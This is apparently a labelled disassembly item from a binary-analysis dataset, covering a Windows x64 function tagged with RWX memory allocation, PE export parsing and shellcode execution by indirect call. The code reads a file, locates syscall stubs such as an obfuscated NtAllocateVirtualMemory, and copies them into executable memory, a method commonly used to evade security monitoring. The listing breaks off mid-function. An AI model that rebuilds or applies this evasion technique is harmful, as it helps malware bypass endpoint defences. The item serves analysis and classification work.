Function at 0x4045db
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x3340
call fcn.00415f60
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00415060
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x32a8], eax
mov eax, dword [rbp + 0x32a8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x32a0], rax
mov rax, qword [rbp + 0x32a0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x3298], rax
mov rax, qword [rbp + 0x3298]
add rax, 0x17
mov qword [rbp + 0x3290], rax
mov rax, qword [rbp + 0x3290]
add rax, 0x17
mov qword [rbp + 0x3288], rax
mov rax, qword [rbp + 0x3288]
add rax, 0x17
mov qword [rbp + 0x3280], rax
mov rax, qword [rbp + 0x3280]
add rax, 0x17
mov qword [rbp + 0x3278], rax
mov rax, qword [rbp + 0x3278]
add rax, 0x17
mov qword [rbp + 0x3270], rax
mov rax, qword [rbp + 0x3270]
add rax, 0x17
mov qword [rbp + 0x3268], rax
mov rax, qword [rbp + 0x3268]
add rax, 0x17
mov qword [rbp + 0x3260], rax
mov rax, qword [rbp + 0x3260]
add rax, 0x17
mov qword [rbp + 0x3258], rax
mov rax, qword [rbp + 0x3258]
add rax, 0x17
mov qword [rbp + 0x3250], rax
mov rax, qword [rbp + 0x3250]
add rax, 0x17
mov qword [rbp + 0x3248], rax
mov rax, qword [rbp + 0x3248]
add rax, 0x17
mov qword [rbp + 0x3240], rax
mov rax, qword [rbp + 0x3240]
add rax, 0x17
mov qword [rbp + 0x3238], rax
mov rax, qword [rbp + 0x3238]
add rax, 0x17
mov qword [rbp + 0x3230], rax
mov rax, qword [rbp + 0x3230]
add rax, 0x17
mov qword [rbp + 0x3228], rax
mov rax, qword [rbp + 0x3228]
add rax, 0x17
mov qword [rbp + 0x3220], rax
mov rax, qword [rbp + 0x3220]
add rax, 0x17
mov qword [rbp + 0x3218], rax
mov qword [rbp + 0x370], 0
mov qword [rbp + 0x378], 0
mov dword [rbp + 0x380], 0
mov word [rbp + 0x384], 0
mov byte [rbp + 0x386], 0
mov dword [rbp + 0x36c], 0
mov qword [rbp + 0x3210], 0
mov dword [rbp + 0x320c], 0
mov dword [rbp + 0x368], 0
mov qword [rbp + 0x3200], 0
mov rax, qword [rbp + 0x3298]
mov qword [0x00558048], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3298]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3290]
mov qword [0x00558050], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3290]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3288]
mov qword [0x00558058], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3288]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3280]
mov qword [0x00558060], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3280]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3278]
mov qword [0x00558068], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3278]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3270]
mov qword [0x00558070], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3270]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3268]
mov qword [0x00558078], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3268]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3260]
mov qword [0x00558080], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3260]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3258]
mov qword [0x00558088], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3258]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3250]
mov qword [0x00558090], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3250]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3248]
mov qword [0x00558098], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3248]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3240]
mov qword [0x005580a0], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3240]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3238]
mov qword [0x005580a8], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3238]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3230]
mov qword [0x005580b0], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3230]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3228]
mov qword [0x005580b8], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3228]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3220]
mov qword [0x005580c0], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3220]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3218]
mov qword [0x005580c8], rax
lea rdx, [rbp + 0x36c]
mov rax, qword [rbp + 0x3218]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x0052c64c]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x3210], rax
mov rax, qword [rbp + 0x3210]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x320c], eax
mov esi, dword [rbp + 0x320c]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rsi
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x3200], rax
lea r8, [rbp + 0x368]
mov ecx, dword [rbp + 0x320c]
mov rdx, qword [rbp + 0x3200]
mov rax, qword [rbp + 0x3210]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x3200]
mov qword [rbp + 0x31f8], rax
mov rax, qword [rbp + 0x31f8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3200]
add rax, rdx
mov qword [rbp + 0x31f0], rax
mov rax, qword [rbp + 0x31f0]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x31ec], eax
mov rax, qword [rbp + 0x31f0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x31f0]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x32b8], rax
mov rax, qword [rbp + 0x32b8]
mov qword [rbp + 0x31e0], rax
mov rax, qword [rbp + 0x32b8]
mov qword [rbp + 0x32b0], rax
mov dword [rbp + 0x32ac], 0
mov rax, qword [rbp + 0x31f0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x32ac], eax
jge 0x404d0f
mov rax, qword [rbp + 0x32b8]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x404cfe
mov rax, qword [rbp + 0x32b8]
mov qword [rbp + 0x32b0], rax
jmp 0x404d0f
add qword [rbp + 0x32b8], 0x28
add dword [rbp + 0x32ac], 1
jmp 0x404cbe
mov edx, dword [rbp + 0x31ec]
mov rax, qword [rbp + 0x3200]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x32b0]
mov rdx, rax
call fcn.004015a0
mov qword [rbp + 0x31d8], rax
lea rax, [rbp + 0x65f]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x65f]
lea rax, [rbp + 0x630]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x610]
lea rdx, [rbp + 0x630]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x5f0]
lea rdx, [rbp + 0x610]
lea r8, [0x0052c675]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x0052c67b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x0052c681]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x0052c689]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x0052c68b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x340]
lea rdx, [rbp + 0x390]
lea r8, [0x0052c68d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x630]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x65f]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x660]
mov rcx, qword [rbp + 0x3298]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x4051b5
lea rsi, [0x0052c68f]
jmp 0x4051bc
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x90f]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x90f]
lea rax, [rbp + 0x8e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x8c0]
lea rdx, [rbp + 0x8e0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x0052c681]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x0052c689]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x0052c68b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x0052c68d]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x680]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x8e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x90f]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x910]
mov rcx, qword [rbp + 0x3290]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x4055fd
lea rsi, [0x0052c68f]
jmp 0x405604
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0xbff]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0xbff]
lea rax, [rbp + 0xbd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0xbb0]
lea rdx, [rbp + 0xbd0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xb90]
lea rdx, [rbp + 0xbb0]
lea r8, [0x0052c6af]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xb70]
lea rdx, [rbp + 0xb90]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xb50]
lea rdx, [rbp + 0xb70]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xb30]
lea rdx, [rbp + 0xb50]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xb10]
lea rdx, [rbp + 0xb30]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xaf0]
lea rdx, [rbp + 0xb10]
lea r8, [0x0052c67b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x0052c681]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x0052c689]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, [0x0052c68b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x0052c68d]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x930]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xb30]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xb50]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xb70]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xb90]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xbb0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xbff]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0xc00]
mov rcx, qword [rbp + 0x3288]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x405a9d
lea rsi, [0x0052c68f]
jmp 0x405aa4
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0xe2f]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0xe2f]
lea rax, [rbp + 0xe00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0xde0]
lea rdx, [rbp + 0xe00]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xdc0]
lea rdx, [rbp + 0xde0]
lea r8, [0x0052c6b1]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xda0]
lea rdx, [rbp + 0xdc0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xd80]
lea rdx, [rbp + 0xda0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xd60]
lea rdx, [rbp + 0xd80]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xd40]
lea rdx, [rbp + 0xd60]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xd20]
lea rdx, [rbp + 0xd40]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xd00]
lea rdx, [rbp + 0xd20]
lea r8, [0x0052c6b3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xce0]
lea rdx, [rbp + 0xd00]
lea r8, [0x0052c6b5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x0052c6b7]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x0052c6b9]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x0052c6bb]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0xc20]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.004a8050
